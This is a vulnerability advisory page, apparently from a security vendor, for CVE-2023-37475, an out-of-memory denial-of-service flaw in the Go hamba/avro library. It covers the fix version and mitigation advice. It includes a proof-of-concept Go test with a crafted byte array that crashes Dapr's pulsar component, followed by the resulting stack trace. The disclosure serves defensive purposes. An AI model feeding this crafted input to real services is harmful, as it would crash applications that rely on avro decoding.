CVE-2023-37475 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in github.com/hamba/avro. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/hamba/avro — see the affected versions and patch details below.
Attacker-controlled parameter can cause denial of service in hamba avro
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-37475.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-37475 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/hamba/avro🐹github.com/hamba/avro/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.
Details
The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.
In the reproducer below, the first few bytes determine the size of the slice.
The root cause is on line 239 here: https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242
PoC
The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.
Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest.
To reproduce:
cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar
now add this test to the pulsar_test.go:
func TestParsePublishMetadata2(t *testing.T) {
m := &pubsub.PublishRequest{}
m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
_, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}
run the test with go test -run=TestParsePublishMetadata2.
You should see this stacktrace:
fatal error: runtime: out of memory
runtime stack:
runtime.throw({0xc32c9c?, 0x8000?})
/usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d
runtime.sysMapOS(0xc000400000, 0x2c00000000?)
/usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb
runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?)
/usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5
runtime.(*mheap).grow(0x11ab260, 0x1600000?)
/usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832
runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?)
/usr/local/go/src/runtime/mheap.go:1243 +0x1b7 fp=0x7ffd9b348060 sp=0x7ffd9b347fc8 pc=0x435f77
runtime.(*mheap).alloc.func1()
/usr/local/go/src/runtime/mheap.go:961 +0x65 fp=0x7ffd9b3480a8 sp=0x7ffd9b348060 pc=0x435a25
runtime.systemstack()
/usr/local/go/src/runtime/asm_amd64.s:496 +0x49 fp=0x7ffd9b3480b0 sp=0x7ffd9b3480a8 pc=0x47a469
goroutine 22 [running]:
runtime.systemstack_switch()
/usr/local/go/src/runtime/asm_amd64.s:463 fp=0xc000080930 sp=0xc000080928 pc=0x47a400
runtime.(*mheap).alloc(0x422a90?, 0x1160f40?, 0x38?)
/usr/local/go/src/runtime/mheap.go:955 +0x65 fp=0xc000080978 sp=0xc000080930 pc=0x435965
runtime.(*mcache).allocLarge(0x2?, 0x2bfffffffb, 0x1)
/usr/local/go/src/runtime/mcache.go:234 +0x85 fp=0xc0000809c0 sp=0xc000080978 pc=0x423865
runtime.mallocgc(0x2bfffffffb, 0xb44860, 0x1)
/usr/local/go/src/runtime/malloc.go:1053 +0x4fe fp=0xc000080a28 sp=0xc0000809c0 pc=0x41a57e
runtime.makeslice(0xc00024cd20?, 0x4d8560d018?, 0xc000080b18?)
/usr/local/go/src/runtime/slice.go:103 +0x52 fp=0xc000080a50 sp=0xc000080a28 pc=0x45de72
github.com/hamba/avro/v2.(*Reader).readBytes(0xc00024cd20, {0xc27ca1, 0x5})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader.go:239 +0x1b7 fp=0xc000080ac0 sp=0xc000080a50 pc=0x834417
github.com/hamba/avro/v2.(*Reader).ReadBytes(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader.go:203
github.com/hamba/avro/v2.(*Reader).ReadNext(0xfaf5531d980c4e50?, {0xd24d90, 0xc0001a1da0})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader_generic.go:63 +0x44c fp=0xc000080ca0 sp=0xc000080ac0 pc=0x8349ec
github.com/hamba/avro/v2.(*efaceDecoder).Decode(0xc0001188f0?, 0xc00019fd10, 0xc0001a1da0?)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/codec_dynamic.go:18 +0x1a5 fp=0xc000080d18 sp=0xc000080ca0 pc=0x8221c5
github.com/hamba/avro/v2.(*Reader).ReadVal(0xc00024cd20, {0xd24d90, 0xc0001a1da0}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/codec.go:53 +0x139 fp=0xc000080d98 sp=0xc000080d18 pc=0x8200f9
github.com/hamba/avro/v2.(*frozenConfig).Unmarshal(0xc000158080, {0xd24d90, 0xc0001a1da0}, {0xc00013a640?, 0x535d2f?, 0x536253?}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/config.go:150 +0x6e fp=0xc000080de8 sp=0xc000080d98 pc=0x832b2e
github.com/hamba/avro/v2.Unmarshal(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/decoder.go:49
github.com/dapr/components-contrib/pubsub/pulsar.parsePublishMetadata(0xc000080f18, {{0xc27698?, 0x59a?}, {0xc27ca1?, 0x536220?}})
/tmp/components-contrib/pubsub/pulsar/pulsar.go:300 +0x1f5 fp=0xc000080ef0 sp=0xc000080de8 pc=0xa3c1d5
github.com/dapr/components-contrib/pubsub/pulsar.TestParsePublishMetadata2(0x413239?)
/tmp/components-contrib/pubsub/pulsar/pulsar_test.go:154 +0xb0 fp=0xc000080f70 sp=0xc000080ef0 pc=0xa3d1b0
testing.tRunner(0xc0001b56c0, 0xc789e0)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc000080fc0 sp=0xc000080f70 pc=0x53632b
testing.(*T).Run.func1()
/usr/local/go/src/testing/testing.go:1629 +0x2a fp=0xc000080fe0 sp=0xc000080fc0 pc=0x53736a
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000080fe8 sp=0xc000080fe0 pc=0x47c621
created by testing.(*T).Run
/usr/local/go/src/testing/testing.go:1629 +0x3ea
goroutine 1 [chan receive]:
runtime.gopark(0x1193660?, 0xc000122900?, 0xf0?, 0x28?, 0xc00019da28?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00019d9a8 sp=0xc00019d988 pc=0x4487f6
runtime.chanrecv(0xc0002423f0, 0xc00019daa7, 0x1)
/usr/local/go/src/runtime/chan.go:583 +0x49d fp=0xc00019da38 sp=0xc00019d9a8 pc=0x4137fd
runtime.chanrecv1(0x11926e0?, 0xb445e0?)
/usr/local/go/src/runtime/chan.go:442 +0x18 fp=0xc00019da60 sp=0xc00019da38 pc=0x4132f8
testing.(*T).Run(0xc0001b5520, {0xc34a0b?, 0x535ba5?}, 0xc789e0)
/usr/local/go/src/testing/testing.go:1630 +0x405 fp=0xc00019db20 sp=0xc00019da60 pc=0x5371e5
testing.runTests.func1(0x1193660?)
/usr/local/go/src/testing/testing.go:2036 +0x45 fp=0xc00019db70 sp=0xc00019db20 pc=0x5393a5
testing.tRunner(0xc0001b5520, 0xc00019dc88)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc00019dbc0 sp=0xc00019db70 pc=0x53632b
testing.runTests(0xc000228820?, {0x11487c0, 0xa, 0xa}, {0xc00023fb60?, 0x100c00019dd10?, 0x1192d20?})
/usr/local/go/src/testing/testing.go:2034 +0x489 fp=0xc00019dcb8 sp=0xc00019dbc0 pc=0x539289
testing.(*M).Run(0xc000228820)
/usr/local/go/src/testing/testing.go:1906 +0x63a fp=0xc00019df00 sp=0xc00019dcb8 pc=0x537bfa
main.main()
_testmain.go:65 +0x1aa fp=0xc00019df80 sp=0xc00019df00 pc=0xa3f9ea
runtime.main()
/usr/local/go/src/runtime/proc.go:250 +0x207 fp=0xc00019dfe0 sp=0xc00019df80 pc=0x4483c7
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00019dfe8 sp=0xc00019dfe0 pc=0x47c621
goroutine 2 [force gc (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006cfb0 sp=0xc00006cf90 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.forcegchelper()
/usr/local/go/src/runtime/proc.go:305 +0xb0 fp=0xc00006cfe0 sp=0xc00006cfb0 pc=0x448630
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006cfe8 sp=0xc00006cfe0 pc=0x47c621
created by runtime.init.6
/usr/local/go/src/runtime/proc.go:293 +0x25
goroutine 3 [GC sweep wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006d780 sp=0xc00006d760 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.bgsweep(0x0?)
/usr/local/go/src/runtime/mgcsweep.go:278 +0x8e fp=0xc00006d7c8 sp=0xc00006d780 pc=0x43282e
runtime.gcenable.func1()
/usr/local/go/src/runtime/mgc.go:178 +0x26 fp=0xc00006d7e0 sp=0xc00006d7c8 pc=0x427ae6
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006d7e8 sp=0xc00006d7e0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:178 +0x6b
goroutine 4 [GC scavenge wait]:
runtime.gopark(0xc00003c070?, 0xd19648?, 0x1?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006df70 sp=0xc00006df50 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.(*scavengerState).park(0x1192e40)
/usr/local/go/src/runtime/mgcscavenge.go:400 +0x53 fp=0xc00006dfa0 sp=0xc00006df70 pc=0x430753
runtime.bgscavenge(0x0?)
/usr/local/go/src/runtime/mgcscavenge.go:628 +0x45 fp=0xc00006dfc8 sp=0xc00006dfa0 pc=0x430d25
runtime.gcenable.func2()
/usr/local/go/src/runtime/mgc.go:179 +0x26 fp=0xc00006dfe0 sp=0xc00006dfc8 pc=0x427a86
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006dfe8 sp=0xc00006dfe0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:179 +0xaa
goroutine 18 [finalizer wait]:
runtime.gopark(0x1a0?, 0x1193660?, 0xe0?, 0x24?, 0xc00006c770?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006c628 sp=0xc00006c608 pc=0x4487f6
runtime.runfinq()
/usr/local/go/src/runtime/mfinal.go:193 +0x107 fp=0xc00006c7e0 sp=0xc00006c628 pc=0x426b27
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006c7e8 sp=0xc00006c7e0 pc=0x47c621
created by runtime.createfing
/usr/local/go/src/runtime/mfinal.go:163 +0x45
goroutine 19 [IO wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc000185a78 sp=0xc000185a58 pc=0x4487f6
runtime.netpollblock(0x0?, 0x4100cf?, 0x0?)
/usr/local/go/src/runtime/netpoll.go:527 +0xf7 fp=0xc000185ab0 sp=0xc000185a78 pc=0x440e17
internal/poll.runtime_pollWait(0x7f4d85613218, 0x72)
/usr/local/go/src/runtime/netpoll.go:306 +0x89 fp=0xc000185ad0 sp=0xc000185ab0 pc=0x476b29
internal/poll.(*pollDesc).wait(0xc000158980?, 0xc0001b0ca0?, 0x0)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:84 +0x32 fp=0xc000185af8 sp=0xc000185ad0 pc=0x4b4832
internal/poll.(*pollDesc).waitRead(...)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadMsg(0xc000158980, {0xc0001b0ca0, 0x10, 0x10}, {0xc00016a620, 0x1000, 0x1000}, 0x1?)
/usr/local/go/src/internal/poll/fd_unix.go:304 +0x3aa fp=0xc000185be8 sp=0xc000185af8 pc=0x4b6f2a
net.(*netFD).readMsg(0xc000158980, {0xc0001b0ca0?, 0x1?, 0xd26db0?}, {0xc00016a620?, 0x1?, 0x5?}, 0xb?)
/usr/local/go/src/net/fd_posix.go:78 +0x37 fp=0xc000185c70 sp=0xc000185be8 pc=0x68cb57
net.(*UnixConn).readMsg(0xc000122690, {0xc0001b0ca0?, 0xc00012f038?, 0xd1da40?}, {0xc00016a620?, 0xd1da40?, 0xc0001b6300?})
/usr/local/go/src/net/unixsock_posix.go:115 +0x4f fp=0xc000185d00 sp=0xc000185c70 pc=0x6a7f6f
net.(*UnixConn).ReadMsgUnix(0xc000122690, {0xc0001b0ca0?, 0x422a90?, 0xc0001b6300?}, {0xc00016a620?, 0x41a68a?, 0xc00012f260?})
/usr/local/go/src/net/unixsock.go:143 +0x3c fp=0xc000185d78 sp=0xc000185d00 pc=0x6a69bc
github.com/godbus/dbus.(*oobReader).Read(0xc00016a600, {0xc0001b0ca0?, 0xc000185e28?, 0x41aa67?})
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/transport_unix.go:21 +0x45 fp=0xc000185df0 sp=0xc000185d78 pc=0x8c1d85
io.ReadAtLeast({0xd1e040, 0xc00016a600}, {0xc0001b0ca0, 0x10, 0x10}, 0x10)
/usr/local/go/src/io/io.go:332 +0x9a fp=0xc000185e38 sp=0xc000185df0 pc=0x4af45a
io.ReadFull(...)
/usr/local/go/src/io/io.go:351
github.com/godbus/dbus.(*unixTransport).ReadMessage(0xc00012ea80)
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/transport_unix.go:91 +0x11e fp=0xc000185f68 sp=0xc000185e38 pc=0x8c239e
github.com/godbus/dbus.(*Conn).inWorker(0xc0001b2000)
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/conn.go:294 +0x3b fp=0xc000185fc8 sp=0xc000185f68 pc=0x8ab47b
github.com/godbus/dbus.(*Conn).Auth.func1()
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/auth.go:118 +0x26 fp=0xc000185fe0 sp=0xc000185fc8 pc=0x8a8766
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000185fe8 sp=0xc000185fe0 pc=0x47c621
created by github.com/godbus/dbus.(*Conn).Auth
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/auth.go:118 +0x9ee
exit status 2
FAIL github.com/dapr/components-contrib/pubsub/pulsar 0.027s
Impact
Any use case of the avro Unmarshalling routine that accepts untrusted input is affected.
The impact is that an attacker can crash the running application and cause denial of service.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/hamba/avro | all versions | 2.13.0go get github.com/hamba/avro@v2.13.0 |
| 🐹Go | github.com/hamba/avro/v2 | all versions | 2.13.0go get github.com/hamba/avro/v2@v2.13.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/hamba/avro, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/hamba/avro to 2.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-37475 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-37475 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-37475. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-37475 in your dependencies?
O3 Security finds CVE-2023-37475 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.